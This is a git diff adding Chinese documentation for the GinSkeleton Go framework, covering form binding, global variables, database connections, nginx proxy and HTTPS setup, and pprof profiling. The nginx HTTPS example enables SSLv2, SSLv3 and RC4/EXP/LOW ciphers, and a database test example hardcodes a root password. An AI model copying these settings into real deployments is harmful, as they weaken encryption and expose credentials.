+![form-parms](https://www.ginskeleton.com/images/formparams1.png) + +#### 什么是复杂的表单参数提交 +> 1.表单参数存在嵌套关系,这种数据在 `postman` 都是以 raw 方式提交,本质上就是请求的表单参数头设置为:`Content-Type: application/json` + +![form-parms](https://www.ginskeleton.com/images/formparams2.png) + +#### `ginskeleton` 后台处理复杂表单数据 +> 1.按照提交的数据格式,我们在表单参数验证器部分,定义接受的结构体,例如上图的参数我们在后台的接受参数就可以定义如下: +```code + +type ViewEleCreateUpdate struct { + FkBigScreenView float64 `form:"fk_big_screen_view" json:"fk_big_screen_view"` + EleId string `form:"ele_id" json:"ele_id"` + EleIdTitle string `form:"ele_id_title" json:"ele_id_title"` + Status *float64 `form:"status" json:"status"` + Remark string `form:"remark" json:"remark"` + ChildrenTableDelIds string `form:"children_table_del_ids" json:"children_table_del_ids"` + ChildrenTable []ChildrenTable `form:"children_table" json:"children_table"` +} + +// 大屏界面元素的子表数据 +// 每种元素都有三个状态(1=正常;2=禁止;3=隐藏) +// 被嵌套的数据请独立定义,这样的好处就是后续可以随意精准取出任意一部分 +type ChildrenTable struct { + Id float64 `form:"id" json:"id"` + FkBigScreenViewElement float64 `form:"fk_big_screen_view_element" json:"fk_big_screen_view_element"` + FkBigScreenViewElementStatusName float64 `form:"fk_big_screen_view_element_status_name" json:"fk_big_screen_view_element_status_name"` + Status *float64 `form:"status" json:"status"` + Remark string `form:"remark" json:"remark"` +} + +``` +#### 接口验证器 ↓ +> 1.复杂接口参数前端都是通过json格式提交. +> 2.`go` 语言代码接收语法是 `context.ShouldBindJSON()` + +![form-parms3](https://www.ginskeleton.com/images/formparams3.png) + +#### 接口验证器对应的数据类型 ↓ +![form-parms4](https://www.ginskeleton.com/images/formparams4.png) + +#### 在后续的控制器、model 获取子表数据 +```code +# 在接口验证逻辑部分,通过参数验证后,我们将子表数据已经存储在上线文 + +// 子表数据设置一个独立的键存储 +extraAddBindDataContext.Set(consts.ValidatorPrefix+"children_table_del_ids", v.ChildrenTable) + +// 那么后续的控制器、以及model都可以根据相关的键获取原始数据、断言为我们定义的子表数据类型继续操作 + var childrenTableData = c.MustGet(consts.ValidatorPrefix + "children_table_del_ids") + + // 获取子表数据断言为我们定义的子表数据类型 + // 这里需要注意:验证器验证参数ok调用了控制器,如果再验证器文件没有创建独立的数据类型文件夹(包),在控制器断言会形成包的嵌套、报错,这就是我们一开始将复杂数据类型创建独立的文件件定义的原因 + + if subTableStr, ok := childrenTableData.([]data_type_for_create_edit.ChildrenTable); ok { + // 这里就相当于获取了go语言切片数据 + // 继续批量存储、或者挨个遍历就行 + // .... 省略业务逻辑 + } + +``` + + + diff --git a/GinSkeleton/docs/global_variable.md b/GinSkeleton/docs/global_variable.md new file mode 100644 index 0000000..556324c --- /dev/null +++ b/GinSkeleton/docs/global_variable.md @@ -0,0 +1,79 @@ +## 项目中被初始化的全局变量清单介绍 + +### 1.前言 +> 1.程序启动时初始化动作统一由 `bootstrap/init.go` 文件中的代码段负责,本次我们将介绍3个常用的全局变量. +> 2.全局变量只会使用法简洁化, 不对原始语法造成任何破坏, 封装全局变量时我们经过谨慎地评估、测试相关代码段、从而保证并发安全性. + +### 2.gorm 全局变量 +> 1.请按照配置文件 `congfig/gorm_v2.yml` 中的提示正确配置数据库,开启程序启动初始化数据库参数,程序在启动时会自动为您初始化全局变量. +> 2.不同类型的数据库全局变量名不一样, 对照关系参见以下代码段说明. +> 3.更多用法参见单元测试:[gorm_v2单元测试](../test/gormv2_test.go). +> 4.本文档我们主要介绍 gorm 全局变量初始化的核心. +```code + +// 例如:原始语法,我们以 mysql 驱动的初始化为例进行说明 +// 1.连接数据库,获取mysql连接 + dsn := "user:pass@tcp(127.0.0.1:3306)/dbname?charset=utf8mb4&parseTime=True&loc=Local" + mysqlDb, err := gorm.Open(mysql.Open(dsn), &gorm.Config{}) + +// 2.查询 +db.Select("id", "name", "phone", "email", "remark").Where("name like ?", "%test%").Find(&users) + + +// 本项目中, `variable.GormDbMysql` 完全等于上文中返回的 mysqlDb +variable.GormDbMysql.Select("id", "name", "phone", "email", "remark").Where("name like ?", "%test%").Find(&users) + +// gorm 数据库驱动与本项目骨架对照关系 +variable.GormDbMysql <====完全等于==> gorm.Open(mysql.Open(dsn), &gorm.Config{}) +variable.GormDbSqlserver <====完全等于==> gorm.Open(sqlserver.Open(dsn), &gorm.Config{}) +variable.GormDbPostgreSql <====完全等于==> gorm.Open(postgres.Open(dsn), &gorm.Config{}) +``` + + +### 3.日志全局变量 +> 1.为了随意、方便地记录项目中日志,我们封装了全局变量 `variable.ZapLog` . +> 2.由于日志操作内容比较多,我们对它进行了单独介绍,详情参见: [zap高性能日志](zap_log.md) + + +### 4.配置文件全局变量 +> 1.为了更方便地操作配置文件 `config/config.yml` 、 `config/gorm_v2.yml` 我们同样在项目启动时封装了全局变量. +> 2.`variable.ConfigYml` ,该变量相当于配置文件 `config/config.yml` 文件打开后的指针. +> 3.`variable.ConfigGormv2Yml` ,该变量相当于配置文件 `config/gorm_v2.yml` 文件打开后的指针. +> 4.在任何地方您都可以使用以上全局变量直接获取对应配置文件的 键==>值. +```code + +// 获取 config/config.yml 文件中 Websocket.Start 对应的 Int 值 +variable.ConfigYml.GetInt("Websocket.Start") + +// 获取 config/gorm_v2.yml 文件中 Gormv2.Mysql.IsInitGlobalGormMysql 对应的 Int 值 +variable.ConfigGormv2Yml.GetInt("Gormv2.Mysql.IsInitGlobalGormMysql") + +``` +> 5.获取配置文件中键对应的值数据类型,函数清单,您可以使用 `variable.ConfigYml.` 或者 `variable.ConfigGormv2Yml.` 以下函数名 获取值 +```code + // 开发者常用函数 + GetString(keyName string) string + GetInt(keyName string) int + GetInt32(keyName string) int32 + GetInt64(keyName string) int64 + GetFloat64(keyName string) float64 + GetDuration(keyName string) time.Duration + GetBool(keyName string) bool + + // 非常用函数,主要是项目骨架在使用 + ConfigFileChangeListen() + Clone(fileName string) YmlConfigInterf + Get(keyName string) interface{} // 该函数获取一个 键 对应的原始值,因此返回类型为 interface , 基本很少用 + GetStringSlice(keyName string) []string +``` + +### 5.雪花算法(snowflake)生成分布式场景唯一ID +> 1.相关配置 ` config>config.yml` 配置项 `SnowFlakeMachineId` , 如果本项目同时部署在多台机器,并且需要同时使用该算法,请为每一台机器设置不同的ID,区间范围: [0,1023] +> 2.随时随地,您可以非常方便的获取一个分布式场景的唯一ID +> 3.更多详情参见: [SnowFlake单元测试](../test/snowflake_test.go) +```code + +# 雪花算法生成的全局唯一ID数据类型为 int64 +variable.SnowFlake.GetId() + +``` diff --git a/GinSkeleton/docs/low_coupling.md b/GinSkeleton/docs/low_coupling.md new file mode 100644 index 0000000..9740932 --- /dev/null +++ b/GinSkeleton/docs/low_coupling.md @@ -0,0 +1,81 @@ +### 本篇将探讨主线解耦问题 +> 1.目前项目主线是从路由开始,直接切入到表单参数验证器,验证通过则直接进入了控制器,这里就导致了验证器和控制器之间存在一点低耦合度. +> 2.如果你追求更低的模块之间的耦合度,接下来我们将对上述问题进行解耦操作. + + + +### 当前项目代码存在的低耦合逻辑 +> 1.我们以用户删除数据接口为例进行介绍. +> 2.本文的 `41` 行就是我们所说验证器与控制器出现了低耦合. +```code + +// 1.访问路由 +users.POST("delete", validatorFactory.Create(consts.ValidatorPrefix+"UsersDestroy")) + + +// 2.进入表单参数验证器 +type Destroy struct { + Id float64 `form:"id" json:"id" binding:"required,min=1"` +} + +func (d Destroy) CheckParams(context *gin.Context) { + + if err := context.ShouldBind(&d); err != nil { + errs := gin.H{ + "tips": "UserDestroy参数校验失败,参数校验失败,请检查id(>=1)", + "err": err.Error(), + } + response.ErrorParam(context, errs) + return + } + + // 该函数主要是将绑定的数据以 键=>值 形式直接传递给下一步(控制器) + extraAddBindDataContext := data_transfer.DataAddContext(d, consts.ValidatorPrefix, context) + if extraAddBindDataContext == nil { + response.ErrorSystem(context, "UserShow表单参数验证器json化失败", "") + context.Abort() + return + } else { + // 验证完成,调用控制器,并将验证器成员(字段)递给控制器,保持上下文数据一致性 + // 以下代码就是验证器与控制器之间的一点耦合 + (&web.Users{}).Destroy(extraAddBindDataContext) + } +} + +``` + +### 开始解耦 +> 1.针对41行出现的验证器与控制器耦合问题,我们开始解耦 +```code + +// 1.我们对以上代码进行简单的改造即可实现代码的解耦 +// 2.路由首先切入表单参数验证器,将对应的控制器代码写在第二个回调函数即可 +// 3.注意:市面上很多框架的中间件等注册的函数都是 "洋葱模型" ,即函数的回调顺序和注册顺序是相反的,但是gin框架则是按照注册顺序依次执行 +users.POST("delete", validatorFactory.Create(consts.ValidatorPrefix+"UsersDestroy"), (&web.Users{}).Destroy) + + +// 4.代码经过以上改在以后, 从 38 行开始的 else { ... } 代码删除即可 + +``` + +### 解耦以后的注意事项 +> 1.如果业务针对控制器存在比较多的 `Aop` 切面编程,就会导致路由文件以及 `import` 显得比较繁重 +```code + +// 1.例如删除数据之前的和之后的回调 +users.POST("delete", + +validatorFactory.Create(consts.ValidatorPrefix+"UsersDestroy"), + +(&Users.DestroyBefore{}).Before, // 控制器Aop的前置回调,例如删除数据之前的权限判断,相关代码可参考 app/aop/users/destroy_before.go +(&web.Users{}).Destroy, // 控制器逻辑 +(&Users.DestroyAfter{}).After // 控制器Aop的后置回调,例如被删除数据之后的数据备份至history表 ,相关代码可参考 app/aop/users/destroy_after.go + +) + +``` +> 2.对比以上代码,如果你的项目存在较多的 `AOP` 编程、或者说不同的路由前、后回调函数比较多,不建议进行解耦(毕竟目前就是极低耦合),否则给路由文件以及 `import` 部分带来了比较多的负担. +> 3.如果你的项目路由前后回调函数比较少,建议参考以上代码进行解耦. + + + diff --git a/GinSkeleton/docs/many_db_operate.md b/GinSkeleton/docs/many_db_operate.md new file mode 100644 index 0000000..78af450 --- /dev/null +++ b/GinSkeleton/docs/many_db_operate.md @@ -0,0 +1,59 @@ +### 同时操作部署在不同服务器的多种数据库 +> 1.本项目骨架在 [数据库操作单元测试](../test/gormv2_test.go) 已经提供了同时操作多服务器、多种数据库的示例代码,为了将此功能更清晰地展现出来,本篇将单独进行介绍. +> 2.面对复杂场景,需要多个客户端连接到部署在多个不同服务器的 `mysql`、`sqlserver`、`postgresql` 等数据库时, 由于配置文件(config/gorm_v2.yml)只提供了一份数据库连接,无法满足需求,这时您可以通过自定义参数直接连接任意数据库,获取一个数据库句柄,供业务使用. + + +### 相关代码 +> 1.这里直接提取了相关的单元测试示例代码,更多其他操作仍然建议参考单元测试示例代码. +```code + +func TestCustomeParamsConnMysql(t *testing.T) { + // 定义一个查询结果接受结构体 + type DataList struct { + Id int + Username string + Last_login_ip string + Status int + } + // 设置动态参数连接任意多个数据库,以mysql为例进行单元测试 + // 参数结构体 Write 和 Read 只有设置了具体指,才会生效,否则程序自动使用配置目录(config/gorm_v.yml)中的参数 + confPrams := gorm_v2.ConfigParams{ + Write: struct { + Host string + DataBase string + Port int + Prefix string + User string + Pass string + Charset string + }{Host: "127.0.0.1", DataBase: "db_test", Port: 3306, Prefix: "tb_", User: "root", Pass: "DRsXT5ZJ6Oi55LPQ", Charset: "utf8"}, + Read: struct { + Host string + DataBase string + Port int + Prefix string + User string + Pass string + Charset string + }{Host: "127.0.0.1", DataBase: "db_stocks", Port: 3306, Prefix: "tb_", User: "root", Pass: "DRsXT5ZJ6Oi55LPQ", Charset: "utf8"}} + + var vDataList []DataList + + //gorm_v2.GetSqlDriver 参数介绍 + // sqlType : mysql 、sqlserver、postgresql 等数据库库类型 + // readDbIsOpen : 是否开启读写分离,1表示开启读数据库的配置,那么 confPrams.Read 参数部分才会生效; 0 则表示 confPrams.Read 部分参数直接忽略(即 读、写同库) + // confPrams 动态配置的数据库参数 + // 此外,其他参数,例如数据库连接池参数等,则直接调用配置项数据库连接池参数,基本不需要配置,这部分对实际操作影响不大 + if gormDbMysql, err := gorm_v2.GetSqlDriver("mysql", 0, confPrams); err == nil { + gormDbMysql.Raw("select id,username,status,last_login_ip from tb_users").Find(&vDataList) + fmt.Printf("Read 数据库查询结果:%v\n", vDataList) + res := gormDbMysql.Exec("update tb_users set real_name='Write数据库更新' where id<=2 ") + if res.Error==nil{ + fmt.Println("write 数据库更新成功") + }else{ + t.Errorf("单元测试失败,相关错误:%s\n",res.Error.Error()) + } + } +} + +``` \ No newline at end of file diff --git a/GinSkeleton/docs/nginx.md b/GinSkeleton/docs/nginx.md new file mode 100644 index 0000000..7bf372d --- /dev/null +++ b/GinSkeleton/docs/nginx.md @@ -0,0 +1,208 @@ +### nginx 配置 +> 1.本篇主要介绍 `nginx` 负载均衡与 `https(ssl)` 证书相关的配置. + +#### 1.配置负载均衡代理 `http` 功能 +> 1.如果你的 `go` 服务是通过 `nginx` 代理访问的,那么需要进行配置 +```code +#注意,upstream 部分放置在 server 块之外,至少需要一个服务器ip。 +upstream goskeleton_list { + # 设置负载均衡模式为ip算法模式,这样不同的客户端每次请求都会与第一次建立对话的后端服务器进行交互 + ip_hash; + server 127.0.0.1:20202 ; + server 127.0.0.1:20203 ; +} +server{ + #监听端口 + listen 80 ; + # 站点域名,没有的话,写项目名称即可 + server_name www.ginskeleton.com ; + root /home/wwwroot/goproject2020/goskeleton/public ; + index index.htm index.html ; + charset utf-8 ; + + # 使用 nginx 直接接管静态资源目录 + # 由于 ginskeleton 把路由(public)地址绑定到了同名称的目录 public ,所以我们就用 nginx 接管这个资源路由 + location ~ /public/(.*) { + # 使用我们已经定义好的 root 目录,然后截取用户请求时,public 后面的所有地址,直接响应资源,不存在就返回404 + try_files /$1 =404; + } + + + location ~ / { + # 静态资源、目录交给ngixn本身处理,动态路由请求执行后续的代理代码 + try_files $uri $uri/ @goskeleton; + } + location @goskeleton { + + #将客户端的ip和头域信息一并转发到后端服务器 + proxy_set_header Host $http_host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + + # 转发Cookie,设置 SameSite + proxy_cookie_path / "/; secure; HttpOnly; SameSite=strict"; + + # 最后,执行代理访问真实服务器 + proxy_pass http://goskeleton_list ; + + } + # 以下是静态资源缓存配置 + location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ + { + expires 30d; + } + + location ~ .*\.(js|css)?$ + { + expires 12h; + } + + location ~ /\. + { + deny all; + } +} + + +``` + +### 2.配置 `websocket` +> 如果你的 `websocket` 服务是通过 `nginx` 代理访问的,那么需要在 `nginx` 的配置项需要进行如下设置 +```websocket + +upstream ws_list { + ip_hash; + server 192.168.251.149:20175 ; + #server 192.168.251.149:20176 ; +} + +server { + listen 20175; + server_name localhost; + + location / { + proxy_http_version 1.1; + proxy_set_header Upgrade websocket; + proxy_set_header Connection Upgrade; + proxy_read_timeout 60s ; + + proxy_set_header Host $http_host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + + proxy_cookie_path / "/; secure; HttpOnly; SameSite=strict"; + + proxy_pass http://ws_list ; + + } + + + location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ + { + expires 30d; + } + + location ~ .*\.(js|css)?$ + { + expires 12h; + } + + location ~ /\. + { + deny all; + } +} + +``` + + +#### 3.配置 `https` 功能 +> 1.基于 `http` 内容稍作修改即可. +> 2.相关域名、云服务器都必须备案,否则无法通过域名访问,但是仍然可以通过 `http://云服务器ip` 访问,只不过通过ip访问会浏览器地址栏会提示不安全. + +```nginx + +#注意,upstream 部分放置在 server 块之外,至少需要一个服务器ip。 +upstream goskeleton_list { + # 设置负载均衡模式为ip算法模式,这样不同的客户端每次请求都会与第一次建立对话的后端服务器进行交互 + ip_hash; + server 127.0.0.1:20202 ; + server 127.0.0.1:20203 ; +} +// 这里主要是将 http 访问重定向到 https,这样就能同时支持 http 和 https 访问 +server { + listen 80; + server_name www.ginskeleton.com; + rewrite ^(.*)$ https://$host$1 permanent; +} + +server{ + #监听端口 + listen 443 ssl ; + # 站点域名,没有的话,写项目名称即可 + server_name www.ginskeleton.com ; + root /home/wwwroot/goproject2020/goskeleton/public ; + index index.html index.htm ; + charset utf-8 ; + + # 配置 https 证书 + # ssl on; # 注意,在很早的低版本nginx上,此项是允许打开的,但是在高于 1.1x.x 版本要求必须关闭. + ssl_certificate ginskeleton.crt; # 实际配置建议您指定证书的绝对路径 + ssl_certificate_key ginskeleton.key; # ginskeleton.crt 、ginskeleton.key 需要向云服务器厂商申请,后续有介绍 + ssl_session_timeout 5m; + ssl_protocols TLSv1 TLSv1.1 TLSv1.2 SSLv2 SSLv3; + ssl_ciphers ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP; + ssl_prefer_server_ciphers on; + + # 使用 nginx 直接接管静态资源目录 + # 由于 ginskeleton 把路由(public)地址绑定到了同名称的目录 public ,所以我们就用 nginx 接管这个资源路由 + location ~ /public/(.*) { + # 使用我们已经定义好的 root 目录,然后截取用户请求时,public 后面的所有地址,直接响应资源,不存在就返回404 + try_files /$1 =404; + } + + location ~ / { + # 静态资源、目录交给ngixn本身处理,动态路由请求执行后续的代理代码 + try_files $uri $uri/ @goskeleton; + } + // 这里的 @goskeleton 和 try_files 语法块的名称必须一致 + location @goskeleton { + + #将客户端的ip和头域信息一并转发到后端服务器 + proxy_set_header Host $http_host; + proxy_set_header X-Real-IP $remote_addr; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + + # 转发Cookie,设置 SameSite + proxy_cookie_path / "/; secure; HttpOnly; SameSite=strict"; + + # 最后,执行代理访问真实服务器 + proxy_pass http://goskeleton_list ; + + } + # 以下是静态资源缓存配置 + location ~ .*\.(gif|jpg|jpeg|png|bmp|swf)$ + { + expires 30d; + } + + location ~ .*\.(js|css)?$ + { + expires 12h; + } + + location ~ /\. + { + deny all; + } +} + + +``` + +#### 4.关于 `https` 的简要介绍 +> 1.首先能保证数据在传输过程中的安全性. +> 2.证书需要向第三方代理机构申请(华为云、阿里云、腾讯云等), 个人证书一般都会有免费一年的体验期. +> 3.证书申请时需要提交您的相关域名, 颁发机构会把您的域名信息和证书绑定, 最终配置在nginx, 当使用浏览器访问时, 浏览器地址栏会变成绿色安全图标. +> 4.本次使用的 `ssl` 证书是在腾讯云申请的1年免费期证书, 申请地址:`https://console.cloud.tencent.com/ssl` , 企业证书一年至少在 3000+ 元. +> 5.项目前置 `nginx` 服务器配置 `ssl` 证书通过`https` 协议在网络中传输数据, 当加密数据到达 `nginx` 时,瞬间会被 `http_ssl_module` 模块解密为明文,因此代理的负载均衡服务器不需要配置 `ssl` 选项. diff --git a/GinSkeleton/docs/project_analysis_1.md b/GinSkeleton/docs/project_analysis_1.md new file mode 100644 index 0000000..e19f970 --- /dev/null +++ b/GinSkeleton/docs/project_analysis_1.md @@ -0,0 +1,24 @@ +## GoSkeleton 项目骨架性能分析报告(一) +> 1.本次将按照一次请求的生命周期为主线(request--->response),跟踪各部分代码段的cpu耗时,得出可视化的性能报告. + +### 前言 +> 1.本次分析,我们以项目骨架默认的门户网站接口为例,该接口虽然简单,但是包含了一个 request 到 response 完整生命周期主线逻辑,很具有代表性. +> 2.待分析的接口地址:`http://127.0.0.1:20191/api/v1/home/news?newsType=portal&page=1&limit=50` + +### cpu数据采集步骤 +> 1.`config/config.yml` 文件中,AppDebug 设置为 true , 调试模式才能进行分析. +> 2.访问接口:`http://127.0.0.1:20191/`, 确保项目正常启动. +> 3.浏览器访问pprof接口:`http://127.0.0.1:20191/debug/pprof/`, 点击 `profile` 选项,程序会对本项目进程, 进行 cpu 使用情况底层数据采集, 该过程会持续 30 秒. +![pprof地址](https://www.ginskeleton.com/images/pprof_menue.jpg) +> 4.第3步点击以后,必须快速运行 [pprof测试用例](../test/http_client_test.go) 中的 `TestPprof()` 函数,该函数主要负责请求接口,让程序处理业务返回结果, 模拟 request --> response 过程. +> 5.执行了步骤3和步骤4才能采集到数据,稍等片刻,30秒之后,您点击过的步骤3就会提示下载文件:`profile`, 请保存在您能记住的路径中,稍后马上使用该文件(profile), 至此cpu数据已经采集完毕. + +### cpu数据分析步骤 +> 1.首先下载安装 [graphviz](https://www.graphviz.org/download/) ,根据您的系统选择相对应的版本安装,安装完成记得将`安装目录/bin`, 加入系统环境变量. +> 2.打开cmd窗口,执行 `dot -V` ,会显示版本信息,说明安装已经OK, 那么继续执行 `dot -c` 安装图形显示所需要的插件. +> 3.在cpu数据采集环节第三步,您已经得到了 `profile` 文件,那么就在同目录打开cmd窗口,执行 `go tool pprof profile`, 然后输入 `web` 回车就会自动打开浏览器,展示给您如下结果图: +![cpu分析_上](https://www.ginskeleton.com/images/pprof_cmd.jpg) + +### 报告详情参见如下图 +![cpu分析_上](https://www.ginskeleton.com/images/analysis1.png) + diff --git a/GinSkeleton/docs/project_analysis_2.md b/GinSkeleton/docs/project_analysis_2.md new file mode 100644 index 0000000..1e86319 --- /dev/null +++ b/GinSkeleton/docs/project_analysis_2.md @@ -0,0 +1,68 @@ +## GoSkeleton 项目骨架性能分析报告(二) +> 1.本次我们分析的目标是操作数据库, 通过操作数据库,分析相关代码段cpu的耗时,得出可视化的性能分析报告。 + + +### 操作数据库, 我们需要做如下铺垫代码 +> 1.我们本次分析的核心是在数据库操作部分, 因此我们在路由出添加如下代码,访问路由即可触发数据库的调用. +```code + router.GET("/", func(context *gin.Context) { + // 默认路由处直接触发数据库调用 + if model.CreateTestFactory("").SelectDataMultiple() { + context.String(200,"批量查询数据OK") + } else { + context.String(200,"批量查询数据出错") + } + context.String(http.StatusOK, "Api 模块接口 hello word!") + }) +``` + +> 2.数据库部分代码,主要逻辑是每次查询1000条,循环查询了100次,并且在最后一次输出了结果集. + ```code +func (t *Test) SelectDataMultiple() bool { + // 本次测试的数据表内有6000条左右数据 + sql := ` + SELECT + code,name,company_name,indudtry,created_at + FROM + db_stocks.tb_code_list + LIMIT 0, 1000 ; + ` + //1.首先独立预处理sql语句,无参数 + if t.PrepareSql(sql) { + + var code, name, company_name, indudtry, created_at string + for i := 1; i <= 100; i++ { + //2.执行批量查询 + rows := t.QuerySqlForMultiple() + if rows == nil { + variable.ZapLog.Sugar().Error("sql执行失败,sql:", sql) + return false + } else { + // 我们只输出最后一行数据 + if i == 100 { + for rows.Next() { + _ = rows.Scan(&code, &name, &company_name, &indudtry, &created_at) + fmt.Println(code, name, company_name, indudtry, created_at) + } + } + } + rows.Close() + } + } + variable.ZapLog.Info("批量查询sql执行完毕!") + return true +} + ``` +### cpu 底层数据采集步骤 +> 1.浏览器访问pprof接口:`http://127.0.0.1:20191/debug/pprof/`, 点击 `profile` 选项,程序会对本项目进程, 进行 cpu 使用情况底层数据采集, 该过程会持续 30 秒. +![pprof地址](https://www.ginskeleton.com/images/pprof_menue.jpg) +> 2.新开浏览器窗口,输入 `http://127.0.0.1:20191/` 刷新,触发路由中的数据库操作代码, 等待被 pprof 采集数据. +> 3.稍等片刻,30秒之后,您点击过的步骤1就会提示下载文件:`profile`, 请保存在您能记住的路径中,稍后马上使用该文件(profile), 至此cpu数据已经采集完毕. + +### cpu数据分析步骤 +> 1.首先下载安装 [graphviz](https://www.graphviz.org/download/) ,根据您的系统选择相对应的版本安装,安装完成记得将`安装目录/bin`, 加入系统环境变量. +> 2.打开cmd窗口,执行 `dot -V` ,会显示版本信息,说明安装已经OK, 那么继续执行 `dot -c` 安装图形显示所需要的插件. +> 3.在cpu数据采集环节第三步,您已经得到了 `profile` 文件,那么就在同目录打开cmd窗口,执行 `go tool pprof profile`, 然后输入 `web` 回车就会自动打开浏览器,展示给您如下结果图: + +### 报告详情参见如下图 +![cpu分析_上](https://www.ginskeleton.com/images/cpu_sql.png) diff --git a/GinSkeleton/docs/project_analysis_3.md b/GinSkeleton/docs/project_analysis_3.md new file mode 100644 index 0000000..dae8ff1 --- /dev/null +++ b/GinSkeleton/docs/project_analysis_3.md @@ -0,0 +1,99 @@ +## GoSkeleton 项目骨架性能分析报告(三) +> 1.内存分析篇我们原计划分为2篇:主线逻辑和操作数据库部分,但是经过测试发现,如果不操作数据库处理大量数据,主线逻辑基本不占用内存,根本就采集不到有效数据. +> 2.基于第一条因素,我们将内存占用分析限定在操作数据库代码段,分析相关代码段内存占用,得出可视化的性能分析报告。 + + +### 操作数据库, 我们需要做如下铺垫代码 +> 1.我们本次分析的核心是在数据库操作部分, 因此我们在路由出添加如下代码,访问路由即可触发数据库的调用. +```code + router.GET("/", func(context *gin.Context) { + // 默认路由处直接触发数据库调用 + if model.CreateTestFactory("").SelectDataMultiple() { + context.String(200,"批量查询数据OK") + } else { + context.String(200,"批量查询数据出错") + } + context.String(http.StatusOK, "Api 模块接口 hello word!") + }) +``` + +> 2.操作数据库部分代码,主要逻辑是每次查询1000条,循环查询了500次,每一次将结果存储在变量,并且在最后一次输出了结果集. + ```code +// 超多数据批量查询的正确姿势 +func (t *Test) SelectDataMultiple() bool { + // 如果您要亲自测试,请确保相关表存在,并且有数据 + sql := ` + SELECT + code,name,company_name,concepts,indudtry,province,city,introduce,created_at + FROM + db_stocks.tb_code_list + LIMIT 0, 1000 ; + ` + //1.首先独立预处理sql语句,无参数 + if t.PrepareSql(sql) { + // 你可以模拟插入更多条数据,例如 1万+ + var code, name, company_name, concepts, indudtry, province, city, introduce, created_at string + + type Column struct { + Code string `json:"code"` + Name string `json:"name"` + Company_name string `json:"company_name"` + Concepts string `json:"concepts"` + Indudtry string `json:"indudtry"` + Province string `json:"province"` + City string `json:"city"` + Introduce string `json:"introduce"` + Created_at string `json:"created_at"` + } + + + for i := 1; i <= 500; i++ { + var nColumn = make([]Column, 0) + //2.执行批量查询 + rows := t.QuerySqlForMultiple() + if rows == nil { + variable.ZapLog.Sugar().Error("sql执行失败,sql:", sql) + return false + } else { + for rows.Next() { + _ = rows.Scan(&code, &name, &company_name, &concepts, &indudtry, &province, &city, &introduce, &created_at) + oneColumn := Column{ + code, + name, + company_name, + concepts, + indudtry, + province, + city, + introduce, + created_at, + } + nColumn = append(nColumn, oneColumn) + + } + //// 我们只输出最后一行数据 + if i == 500 { + fmt.Println("循环结束,最终需要返回的结果成员数量:",len(nColumn)) + fmt.Printf("%#+v\n",nColumn) + } + } + rows.Close() + } + } + variable.ZapLog.Info("批量查询sql执行完毕!") + return true +} + + ``` +### 内存占用 底层数据采集步骤 +> 1.浏览器访问pprof接口:`http://127.0.0.1:20191/debug/pprof/heap?seconds=30`, 该过程会持续 30 秒,采集本进程内存变化数据. +> 2.新开浏览器窗口,输入 `http://127.0.0.1:20191/` 刷新,触发路由中的数据库操作代码, 等待被 pprof 采集数据. +> 3.稍等片刻,30秒之后,您点击过的步骤1就会提示下载文件:`heap-delta`, 请保存在您能记住的路径中,稍后马上使用该文件(heap-delta), 至此内存占用数据已经采集完毕. + +### 内存占用数据分析步骤 +> 1.首先下载安装 [graphviz](https://www.graphviz.org/download/) ,根据您的系统选择相对应的版本安装,安装完成记得将`安装目录/bin`, 加入系统环境变量. +> 2.打开cmd窗口,执行 `dot -V` ,会显示版本信息,说明安装已经OK, 那么继续执行 `dot -c` 安装图形显示所需要的插件. +> 3.我们已经得到了 `heap-delta` 文件,那么就在同目录打开cmd窗口,执行 `go tool pprof -inuse_space heap-delta`, 然后输入 `web` 回车就会自动打开浏览器,展示给您如下结果图: + +### 报告详情参见如下图 +![内存占用分析](https://www.ginskeleton.com/images/sql_memory.png) diff --git a/GinSkeleton/docs/project_struct.md b/GinSkeleton/docs/project_struct.md new file mode 100644 index 0000000..951f387 --- /dev/null +++ b/GinSkeleton/docs/project_struct.md @@ -0,0 +1,55 @@ +### 项目结构目录介绍 +> 1.主要介绍本项目骨架的核心目录结构 + +```code +|-- app +| |-- aop // Aop切面demo代码段 +| | `-- users +| |-- core // 程序容器部分、用于表单参数器注册、配置文件存储等 +| | |-- container +| | |-- destroy +| | `-- event_manage +| |-- global // 全局变量以及常量、程序运行错误定义 +| | |-- consts +| | |-- my_errors +| | `-- variable +| |-- http // http相关代码段,主要为控制器、中间件、表单参数验证器 +| | |-- controller +| | |-- middleware +| | `-- validator +| |-- model // 数据库表模型 +| | |-- base_model.go +| | `-- users.go +| |-- service +| | |-- sys_log_hook +| `-- utils // 第三方包封装层 +| |-- gorm_v2 +| |-- ... ... +|-- bootstrap // 项目启动初始化代码段 +| `-- init.go +|-- cmd // 项目入口,分别为门户站点、命令模式、web后端入口文件 +| |-- api +| | `-- main.go +| |-- cli +| | `-- main.go +| `-- web +| `-- main.go +|-- command // cli模式代码目录 +| |-- +|-- config // 项目、数据库参数配置 +| |-- config.yml +| `-- gorm_v2.yml +|-- database +|-- docs // 项目文档 +| |-- +|-- go.mod +|-- go.sum +|-- public +|-- routers // 后台和门户网站路由 +| |-- api.go +| `-- web.go +|-- storage // 日志、资源存储目录 +| `-- +`-- test// 单元测试目录 + |-- +``` \ No newline at end of file diff --git a/GinSkeleton/docs/rabbitmq.md b/GinSkeleton/docs/rabbitmq.md new file mode 100644 index 0000000..caa40a6 --- /dev/null +++ b/GinSkeleton/docs/rabbitmq.md @@ -0,0 +1,180 @@ +### 消息队列(RabbitMq)概要 +> 1.本文档主要按照本人的理解介绍RabbitMq的功能、如何使用。 +> 2.关于RabbitMq的各种使用场景以及与其他同类产品的横向、纵向对比请自行百度。 +> 3.消息队列看起来貌似非常复杂,感觉很麻烦,其实通过本项目骨架封装之后,使用非常简单,开发者安装rabbitmq(类似安装mysql),配置好账号、密码、端口即可快速使用. +> 4.消息队列的两个核心角色:生产者(通常是一次性投递消息),消费者(需要一直处于阻塞状态监听、接受、处理消息)。 +> 5.关于消费者如何启动问题: +> (a)开发完成消费者代码,在程序启动处(BootStrap/Init.go)通过导入包初始化形式启动(该模式相当于与本项目骨架捆绑启动)。 +> 